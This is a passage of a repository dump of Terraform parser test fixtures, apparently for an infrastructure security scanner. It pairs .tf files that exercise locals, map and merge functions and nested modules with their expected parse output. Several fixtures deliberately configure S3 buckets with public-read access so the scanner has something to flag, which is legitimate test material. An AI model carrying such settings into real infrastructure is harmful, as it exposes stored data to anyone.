    "content": "resource \"aws_s3_bucket\" \"my_bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = var.acl\n  force_destroy = true\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/variables.tf",
    "content": "variable \"bucket_name\" {\n  default = \"MyBucket\"\n}\n\nvariable \"acl\" {\n  default = \"public-read\"\n}\n\nvariable \"region\" {\n  default = \"us-west-2\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/empty_file/evaluation.json",
    "content": "{}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/empty_file/expected.json",
    "content": "{}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/empty_file/main.tf",
    "content": ""
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/formatting/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"locals\": [\n      {\n        \"example1\": [\"Hello, Ander!\"],\n        \"example2\": [\"There are 4 lights\"]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/formatting/main.tf",
    "content": "locals {\n  example1 = format(\"Hello, %s!\", \"Ander\")\n  example2 = format(\"There are %d lights\", 4)\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/json_807/cdk.tf.json",
    "content": "{\n  \"variable\": {\n    \"environment\": {\n      \"type\": \"string\"\n    },\n    \"aws_region\": {\n      \"default\": \"us-east-1\",\n      \"type\": \"string\"\n    },\n    \"aws_profile\": {\n      \"type\": \"string\"\n    }\n  },\n  \"terraform\": {\n    \"required_providers\": {\n      \"aws\": {\n        \"version\": \"~> 2.70.0\",\n        \"source\": \"aws\"\n      }\n    }\n  },\n  \"provider\": {\n    \"aws\": [\n      {\n        \"profile\": \"${var.aws_profile}\",\n        \"region\": \"${var.aws_region}\",\n        \"alias\": \"default\"\n      },\n      {\n        \"profile\": \"external\",\n        \"region\": \"us-west-1\",\n        \"skip_requesting_account_id\": true,\n        \"alias\": \"external\"\n      }\n    ]\n  },\n  \"resource\": {\n    \"aws_secretsmanager_secret\": {\n      \"local-secret\": {\n        \"name\": \"internal-secret\",\n        \"provider\": \"aws.default\"\n      },\n      \"external-secret\": {\n        \"name\": \"external-secret\",\n        \"provider\": \"aws.external\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/json_807/expected.json",
    "content": "{\n  \"cdk.tf.json\": {\n    \"variable\": {\n      \"environment\": {\n        \"type\": \"string\"\n      },\n      \"aws_region\": {\n        \"default\": \"us-east-1\",\n        \"type\": \"string\"\n      },\n      \"aws_profile\": {\n        \"type\": \"string\"\n      }\n    },\n    \"terraform\": {\n      \"required_providers\": {\n        \"aws\": {\n          \"version\": \"~> 2.70.0\",\n          \"source\": \"aws\"\n        }\n      }\n    },\n    \"provider\": {\n      \"aws\": [\n        {\n          \"profile\": \"${var.aws_profile}\",\n          \"region\": \"${var.aws_region}\",\n          \"alias\": \"default\"\n        },\n        {\n          \"profile\": \"external\",\n          \"region\": \"us-west-1\",\n          \"skip_requesting_account_id\": true,\n          \"alias\": \"external\"\n        }\n      ]\n    },\n    \"resource\": {\n      \"aws_secretsmanager_secret\": {\n        \"local-secret\": {\n          \"name\": \"internal-secret\",\n          \"provider\": \"aws.default\"\n        },\n        \"external-secret\": {\n          \"name\": \"external-secret\",\n          \"provider\": \"aws.external\"\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/list_default_622/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"test.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"aws_eks_cluster\": {\n          \"example_direct\": {\n            \"name\": [\"example\"],\n            \"enabled_cluster_log_types\": [\n              [\"api\", \"audit\", \"authenticator\", \"controllerManager\", \"scheduler\"]\n            ],\n            \"__start_line__\": 1,\n            \"__end_line__\": 4,\n            \"__address__\": \"aws_eks_cluster.example_direct\"\n          }\n        }\n      },\n      {\n        \"aws_eks_cluster\": {\n          \"example_var\": {\n            \"name\": [\"example\"],\n            \"enabled_cluster_log_types\": [\n              [\"api\", \"audit\", \"authenticator\", \"controllerManager\", \"scheduler\"]\n            ],\n            \"__start_line__\": 6,\n            \"__end_line__\": 9,\n            \"__address__\": \"aws_eks_cluster.example_var\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"log_types_enabled\": {\n          \"type\": [\"${list(string)}\"],\n          \"default\": [\n            [\"api\", \"audit\", \"authenticator\", \"controllerManager\", \"scheduler\"]\n          ],\n          \"__start_line__\": 11,\n          \"__end_line__\": 14\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/list_default_622/test.tf",
    "content": "resource \"aws_eks_cluster\" \"example_direct\" {\n  name     = \"example\"\n  enabled_cluster_log_types =  [\"api\", \"audit\", \"authenticator\", \"controllerManager\", \"scheduler\"]\n}\n\nresource \"aws_eks_cluster\" \"example_var\" {\n  name     = \"example\"\n  enabled_cluster_log_types = var.log_types_enabled\n}\n\nvariable \"log_types_enabled\" {\n type = list(string)\n default = [\"api\", \"audit\", \"authenticator\", \"controllerManager\", \"scheduler\"]\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/local_block/eval.json",
    "content": "{}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/local_block/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"name_doesnt_matter.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"test_with_locals\": {\n            \"bucket\": [\n              \"my-bucket-name\"\n            ],\n            \"__start_line__\": 5,\n            \"__end_line__\": 7,\n            \"__address__\": \"aws_s3_bucket.test_with_locals\"\n          }\n        }\n      }\n    ],\n    \"locals\": [\n      {\n        \"BUCKET_NAME\": [\"my-bucket-name\"]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/local_block/name_doesnt_matter.tf",
    "content": "locals {\n  BUCKET_NAME = \"my-bucket-name\"\n}\n\nresource \"aws_s3_bucket\" \"test_with_locals\" {\n  bucket = local.BUCKET_NAME\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/local_bool_string_conversion/eval.json",
    "content": "{}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/local_bool_string_conversion/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"name_doesnt_matter.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"TRUE_STRING\": [true],\n        \"FALSE_STRING\": [false]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/local_bool_string_conversion/name_doesnt_matter.tf",
    "content": "locals {\n  TRUE_STRING = \"true\"\n  FALSE_STRING = \"false\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/map_function/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"INTS\": [\n          {\n            \"a\": 1,\n            \"b\": 2\n          }\n        ],\n        \"FLOATS\": [\n          {\n            \"a\": 1.1,\n            \"b\": 2.2\n          }\n        ],\n        \"STRINGS\": [\n          {\n            \"a\": \"one\",\n            \"b\": \"two\"\n          }\n        ],\n        \"BOOLS\": [\n          {\n            \"a\": true,\n            \"b\": false\n          }\n        ],\n        \"MIXED_BOOL\": [\n          {\n            \"a\": \"foo\",\n            \"b\": \"true\"\n          }\n        ],\n        \"MIXED_FLOAT\": [\n          {\n            \"a\": \"foo\",\n            \"b\": \"1.2\"\n          }\n        ],\n        \"ANNOYING_SPLIT\": [\n          {\n            \"this, is\": \"really, annoying\"\n          }\n        ],\n        \"INVALID_ODD_ARGS\": [\"${map(\\\"only one\\\")}\"],\n        \"common_tags\": [\n          {\n            \"App\": \"my_app\",\n            \"Product\": \"my_product\",\n            \"Team\": \"my_team\"\n          }\n        ]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/map_function/main.tf",
    "content": "locals {\n  INTS = map(\"a\", 1, \"b\", 2)\n  FLOATS = map(\"a\", 1.1, \"b\", 2.2)\n  STRINGS = map(\"a\", \"one\", \"b\", \"two\")\n  BOOLS = map(\"a\", true, \"b\", false)\n\n  MIXED_BOOL = map(\"a\", \"foo\", \"b\", true)\n  MIXED_FLOAT = map(\"a\", \"foo\", \"b\", 1.2)\n\n  ANNOYING_SPLIT = map(\"this, is\", \"really, annoying\")\n\n  INVALID_ODD_ARGS = map(\"only one\")\n\n  common_tags = map(\n    \"App\", \"my_app\",\n    \"Product\", \"my_product\",\n    \"Team\", \"my_team\",\n  )\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/maze_of_variables/bucket/bucket.tf",
    "content": "variable \"name\" {}\n\nlocals {\n  MODULE_TAIL = \"bucket\"\n}\n\noutput \"bucket_name\" {\n  value = aws_s3_bucket.example.bucket\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"${var.name}-${local.MODULE_TAIL}\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/maze_of_variables/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"maze.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"gratuitous_var_default\": {\n          \"type\": [\n            \"string\"\n          ],\n          \"default\": [\n            \"-yay\"\n          ],\n          \"__start_line__\": 2,\n          \"__end_line__\": 5,\n          \"__address__\": \"gratuitous_var_default\"\n        }\n      },\n      {\n        \"input\": {\n          \"default\": [\"module-input\"],\n          \"__start_line__\": 7,\n          \"__end_line__\": 9,\n          \"__address__\": \"input\"\n        }\n      }\n    ],\n    \"locals\": [\n      {\n        \"BUCKET\": [\"bucket\"],\n        \"NAME\": [\n          {\n            \"module-input-bucket\": \"mapped-bucket-name\"\n          }\n        ],\n        \"TAIL\": [\n          \"works\"\n        ]\n      }\n    ],\n    \"module\": [\n      {\n        \"bucket\": {\n          \"source\": [\"./bucket\"],\n          \"name\": [\"module-input\"],\n          \"__resolved__\": [\"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"maze.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"],\n          \"__start_line__\": 20,\n          \"__end_line__\": 23,\n          \"__address__\": \"bucket\"\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"example2\": {\n            \"bucket\": [\n              \"${mapped-bucket-name}-works-yay\"\n            ],\n            \"__start_line__\": 25,\n            \"__end_line__\": 34,\n            \"__address__\": \"aws_s3_bucket.example2\"\n          }\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"maze.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"variable\": [\n      {\n        \"name\": {\n          \"__start_line__\": 1,\n          \"__end_line__\": 1,\n          \"__address__\": \"module.bucket.name\"\n        }\n      }\n    ],\n    \"locals\": [\n      {\n        \"MODULE_TAIL\": [\"bucket\"]\n      }\n    ],\n    \"output\": [\n      {\n        \"bucket_name\": {\n          \"value\": [\"module-input-bucket\"]\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"example\": {\n            \"bucket\": [\"module-input-bucket\"],\n            \"__start_line__\": 11,\n            \"__end_line__\": 13,\n            \"__address__\": \"module.bucket.aws_s3_bucket.example\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/maze_of_variables/maze.tf",
    "content": "\nvariable \"gratuitous_var_default\" {\n  type = string\n  default = \"-yay\"\n}\n\nvariable \"input\" {\n  default = \"module-input\"\n}\n\nlocals {\n  BUCKET = \"bucket\"\n  NAME = {\n    \"module-input-bucket\" = \"mapped-${local.BUCKET}-name\"\n  }\n  TAIL = \"works\"\n}\n\n\nmodule \"bucket\" {\n  source   = \"./bucket\"\n  name     = var.input\n}\n\nresource \"aws_s3_bucket\" \"example2\" {\n  #             resolves to: mapped-bucket-name\n  #             |            resolves to: module-input-bucket\n  #             |            |                              resolves to: works\n  #             |            |                              |           resolves to: -yay\n  #             |            |                              |           |\n  #             v            v                              v           v\n  bucket = \"${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}\"\n  # final result: mapped-bucket-name-works-yay\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/merge_function/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"common_tags\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\"\n          }\n        ],\n        \"common_data_tags\": [\n          {\n            \"Tag3\": \"three\"\n          }\n        ],\n        \"local_to_local\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\",\n            \"Tag3\": \"three\"\n          }\n        ],\n        \"local_to_manual\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\",\n            \"Tag4\": \"four\"\n          }\n        ],\n        \"local_local_manual\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\",\n            \"Tag3\": \"three\",\n            \"Name\": \"Bob\"\n          }\n        ],\n        \"manual_to_local\": [\n          {\n            \"Tag4\": \"four\",\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\"\n          }\n        ],\n        \"manual_to_manual\": [\n          {\n            \"Tag4\": \"four\",\n            \"Tag5\": \"five\"\n          }\n        ],\n        \"nested\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\",\n            \"Tag4\": \"four\",\n            \"Tag5\": \"five\"\n          }\n        ],\n        \"doc_example1\": [\n          {\n            \"a\": \"b\",\n            \"c\": \"z\",\n            \"e\": \"f\"\n          }\n        ],\n        \"doc_example2\": [\n          {\n            \"a\": [\n              1,\n              2\n            ],\n            \"c\": \"z\",\n            \"d\": 3\n          }\n        ],\n        \"evil_strings1\": [\n          {\n            \"a\": \"}, evil\"\n          }\n        ],\n        \"one_arg_local\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\"\n          }\n        ],\n        \"one_arg_manual\": [\n          {\n            \"Tag4\": \"four\"\n          }\n        ],\n        \"multiline\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"multiline_tag2\",\n            \"Tag4\": \"four\"\n          }\n        ],\n        \"static1\": [\"one\"],\n        \"static2\": [\"two\"]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_something\": {\n          \"something\": {\n            \"tags\": [\n              {\n                \"Tag1\": \"one\",\n                \"Tag2\": \"two\",\n                \"Tag3\": \"three\",\n                \"Name\": \"Bob-one-two\"\n              }\n            ],\n            \"__start_line__\": 45,\n            \"__end_line__\": 48,\n            \"__address__\": \"aws_something.something\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/merge_function/main.tf",
    "content": "locals {\n  common_tags = {\n    Tag1 = \"one\"\n    Tag2 = \"two\"\n  }\n  common_data_tags = {\n    Tag3 = \"three\"\n  }\n\n  local_to_local = merge(local.common_tags, local.common_data_tags)\n  local_to_manual = merge(local.common_tags, {Tag4 = \"four\"})\n  local_local_manual = merge(local.common_tags, local.common_data_tags, {Name = \"Bob\"})\n  manual_to_local = merge({Tag4 = \"four\"}, local.common_tags)\n  manual_to_manual = merge({Tag4 = \"four\"}, {Tag5=\"five\"})\n\n  nested = merge(local.common_tags, merge({Tag4 = \"four\"}, {Tag5 = \"five\"}))\n\n  doc_example1 = merge({a=\"b\", c=\"d\"}, {e=\"f\", c=\"z\"})\n  doc_example2 = merge({a=\"b\"}, {a=[1,2], c=\"z\"}, {d=3})    # Note: 3 args\n\n  evil_strings1 = merge({a=\"}, evil\"})\n  # The HCL parser does something really weird with this case turning the inner quote into (python string):\n  #   ${merge({\\'b\\': \\'\\\\\\\\\" , evil\\'})}\n  # This seems wrong to me, so I'm skipping for the moment. Expended emitted data is:\n  #   \"evil_strings2\": [\n  #     {\n  #       \"b\": \"\\\" , evil\"\n  #     }\n  #   ],\n//  evil_strings2 = merge({b=\"\\\" , evil\"})\n\n  one_arg_local = merge(local.common_tags)\n  one_arg_manual = merge({Tag4 = \"four\"})\n\n  multiline = merge(\n    local.common_tags,\n    {Tag4 = \"four\"},\n    {Tag2=\"multiline_tag2\"}\n  )\n\n  static1 = \"one\"\n  static2 = \"two\"\n}\n\nresource \"aws_something\" \"something\" {\n  #\n  tags = merge(local.common_tags, local.common_data_tags, {Name = \"Bob-${local.static1}-${local.static2}\"})\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/merge_function_unresolved_var/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"locals\": [\n      {\n        \"common_tags\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\"\n          }\n        ]\n      }\n    ],\n    \"variable\": [\n      {\n        \"ENV\": {}\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"bucket\": {\n            \"tags\": [\n              {\n                \"Tag1\": \"one\",\n                \"Tag2\": \"two\",\n                \"Name\": \"my-bucket-${var.ENV}\"\n              }\n            ]\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/merge_function_unresolved_var/main.tf",
    "content": "locals {\n  common_tags = {\n    Tag1 = \"one\"\n    Tag2 = \"two\"\n  }\n}\n\nvariable \"ENV\" {}\n\nresource \"aws_s3_bucket\" \"bucket\" {\n  # var.ENV has no default, so need to evaluate the merge without the\n  # fully resolved statement.\n  tags = merge(local.common_tags, {Name = \"my-bucket-${var.ENV}\"})\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/bucket1/bucket.tf",
    "content": "module \"bucket2\" {\n  source   = \"./bucket2\"\n}\n\nresource \"aws_s3_bucket\" \"example1\" {\n  bucket = \"bucket1\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/bucket1/bucket2/bucket.tf",
    "content": "module \"bucket3\" {\n  source   = \"./bucket3\"\n}\n\nresource \"aws_s3_bucket\" \"example2\" {\n  bucket = \"bucket2\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/bucket1/bucket2/bucket3/bucket.tf",
    "content": "resource \"aws_s3_bucket\" \"example3\" {\n  bucket = \"bucket3\"\n  acl    = \"public-read\"      # used by test_runner.py\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/buckets.tf",
    "content": "module \"bucket1\" {\n  source   = \"./bucket1\"\n}\n\nresource \"aws_s3_bucket\" \"example0\" {\n  bucket = \"bucket0\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_matryoshka_nested_module_enable/expected.json",
    "content": "{\n    \"{\\\"file_path\\\": \\\"buckets.tf\\\", \\\"tf_source_modules\\\": null}\": {\n        \"module\": [\n            {\n                \"bucket1\": {\n                    \"source\": [\"./bucket1\"],\n                    \"__resolved__\": [\n                        \"{\\\"file_path\\\": \\\"bucket1/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"buckets.tf\\\", \\\"name\\\": \\\"bucket1\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"\n                    ],\n                    \"__start_line__\": 1,\n                    \"__end_line__\": 3,\n                    \"__address__\": \"bucket1\"\n                }\n            }\n        ],\n        \"resource\": [\n            {\n                \"aws_s3_bucket\": {\n                    \"example0\": {\n                        \"__end_line__\": 7,\n                        \"__start_line__\": 5,\n                        \"bucket\": [\"bucket0\"],\n                        \"__address__\": \"aws_s3_bucket.example0\"\n                    }\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"bucket1/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"buckets.tf\\\", \\\"name\\\": \\\"bucket1\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n        \"module\": [\n            {\n                \"bucket2\": {\n                    \"source\": [\"./bucket2\"],\n                    \"__resolved__\": [\n                        \"{\\\"file_path\\\": \\\"bucket1/bucket2/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"bucket1/bucket.tf\\\", \\\"name\\\": \\\"bucket2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"buckets.tf\\\", \\\"name\\\": \\\"bucket1\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\"\n                    ],\n                    \"__start_line__\": 1,\n                    \"__end_line__\": 3,\n                    \"__address__\": \"module.bucket1.bucket2\"\n                }\n            }\n        ],\n        \"resource\": [\n            {\n                \"aws_s3_bucket\": {\n                    \"example1\": {\n                        \"bucket\": [\"bucket1\"],\n                        \"__start_line__\": 5,\n                        \"__end_line__\": 7,\n                        \"__address__\": \"module.bucket1.aws_s3_bucket.example1\"\n                    }\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"bucket1/bucket2/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"bucket1/bucket.tf\\\", \\\"name\\\": \\\"bucket2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"buckets.tf\\\", \\\"name\\\": \\\"bucket1\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\": {\n        \"module\": [\n            {\n                \"bucket3\": {\n                    \"source\": [\"./bucket3\"],\n                    \"__resolved__\": [\n                        \"{\\\"file_path\\\": \\\"bucket1/bucket2/bucket3/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"bucket1/bucket2/bucket.tf\\\", \\\"name\\\": \\\"bucket3\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"bucket1/bucket.tf\\\", \\\"name\\\": \\\"bucket2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"buckets.tf\\\", \\\"name\\\": \\\"bucket1\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}}\"\n                    ],\n                    \"__start_line__\": 1,\n                    \"__end_line__\": 3,\n                    \"__address__\": \"module.bucket1.module.bucket2.bucket3\"\n                }\n            }\n        ],\n        \"resource\": [\n            {\n                \"aws_s3_bucket\": {\n                    \"example2\": {\n                        \"bucket\": [\"bucket2\"],\n                        \"__start_line__\": 5,\n                        \"__end_line__\": 7,\n                        \"__address__\": \"module.bucket1.module.bucket2.aws_s3_bucket.example2\"\n                    }\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"bucket1/bucket2/bucket3/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"bucket1/bucket2/bucket.tf\\\", \\\"name\\\": \\\"bucket3\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"bucket1/bucket.tf\\\", \\\"name\\\": \\\"bucket2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"buckets.tf\\\", \\\"name\\\": \\\"bucket1\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}}\": {\n        \"resource\": [\n            {\n                \"aws_s3_bucket\": {\n                    \"example3\": {\n                        \"bucket\": [\"bucket3\"],\n                        \"acl\": [\"public-read\"],\n                        \"__start_line__\": 1,\n                        \"__end_line__\": 4,\n                        \"__address__\": \"module.bucket1.module.bucket2.module.bucket3.aws_s3_bucket.example3\"\n                    }\n                }\n            }\n        ]\n    }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_multiple_usage/bucket/bucket.tf",
    "content": "variable \"name\" {}\n\nlocals {\n  BUCKET_NAME = var.name\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = local.BUCKET_NAME\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_multiple_usage/buckets.tf",
    "content": "module \"bucket\" {\n  source   = \"./bucket\"\n  name     = \"my_bucket1\"\n}\n\nmodule \"bucket2\" {\n  source   = \"./bucket\"\n  name     = \"my_bucket2\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_multiple_usage/expected.json",
    "content": "{\n  \"buckets.tf\": {\n    \"module\": [\n      {\n        \"bucket\": {\n          \"source\": [\"./bucket\"],\n          \"name\": [\"my_bucket1\"],\n          \"__resolved__\": [\"bucket/bucket.tf[buckets.tf#0]\"]\n        }\n      },\n      {\n        \"bucket\": {\n          \"source\": [\"./bucket\"],\n          \"name\": [\"my_bucket2\"],\n          \"__resolved__\": [\"bucket/bucket.tf[buckets.tf#1]\"]\n        }\n      }\n    ]\n  },\n  \"bucket/bucket.tf[main.tf#0]\": {\n    \"variable\": [\n      {\n        \"name\": {}\n      }\n    ],\n    \"locals\": [\n      {\n        \"BUCKET_NAME\": [\"my_bucket1\"]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"example\": {\n            \"bucket\": [\n              \"my_bucket1\"\n            ]\n          }\n        }\n      }\n    ]\n  },\n  \"bucket/bucket.tf[main.tf#1]\": {\n    \"variable\": [\n      {\n        \"name\": {}\n      }\n    ],\n    \"locals\": [\n      {\n        \"BUCKET_NAME\": [\"my_bucket2\"]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"example\": {\n            \"bucket\": [\n              \"my_bucket2\"\n            ]\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_output_reference/bucket/bucket.tf",
    "content": "variable \"tags\" {}\n\n\nresource \"aws_s3_bucket\" \"bucket\" {\n  bucket = \"its.a.bucket\"\n  # NOTE: Prior to find_var_blocks handling vars in parameters, this didn't work\n  tags = merge(var.tags, {\"more_tags\" = \"yes\"})\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_output_reference/common/common.tf",
    "content": "output \"tags\" {\n  value = {\n    Team  = \"my_team\"\n    Color = \"red\"\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_output_reference/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"common\": {\n          \"source\": [\"./common\"],\n          \"__resolved__\": [\"{\\\"file_path\\\": \\\"common/common.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"common\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"],\n          \"__start_line__\": 1,\n          \"__end_line__\": 3,\n          \"__address__\": \"common\"\n        }\n      },\n      {\n        \"bucket\": {\n          \"source\": [\"./bucket\"],\n          \"tags\": [\n            {\n              \"Team\": \"my_team\",\n              \"Color\": \"red\"\n            }\n          ],\n          \"__resolved__\": [\"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"],\n          \"__start_line__\": 4,\n          \"__end_line__\": 7,\n          \"__address__\": \"bucket\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"variable\": [\n      {\n        \"tags\": {\n          \"__start_line__\": 1,\n          \"__end_line__\": 1,\n          \"__address__\": \"module.bucket.tags\"\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"bucket\": {\n            \"bucket\": [\"its.a.bucket\"],\n            \"tags\": [\n              {\n                \"Team\": \"my_team\",\n                \"Color\": \"red\",\n                \"more_tags\": \"yes\"\n              }\n            ],\n            \"__start_line__\": 4,\n            \"__end_line__\": 8,\n            \"__address__\": \"module.bucket.aws_s3_bucket.bucket\"\n          }\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"common/common.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"common\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"output\": [\n      {\n        \"tags\": {\n          \"value\": [{\n            \"Team\": \"my_team\",\n            \"Color\": \"red\"\n          }]\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_output_reference/main.tf",
    "content": "module \"common\" {\n  source = \"./common\"\n}\nmodule \"bucket\" {\n  source = \"./bucket\"\n  tags = module.common.tags   # <-- reference to other module, must be resolved in second pass\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_reference/bucket/bucket.tf",
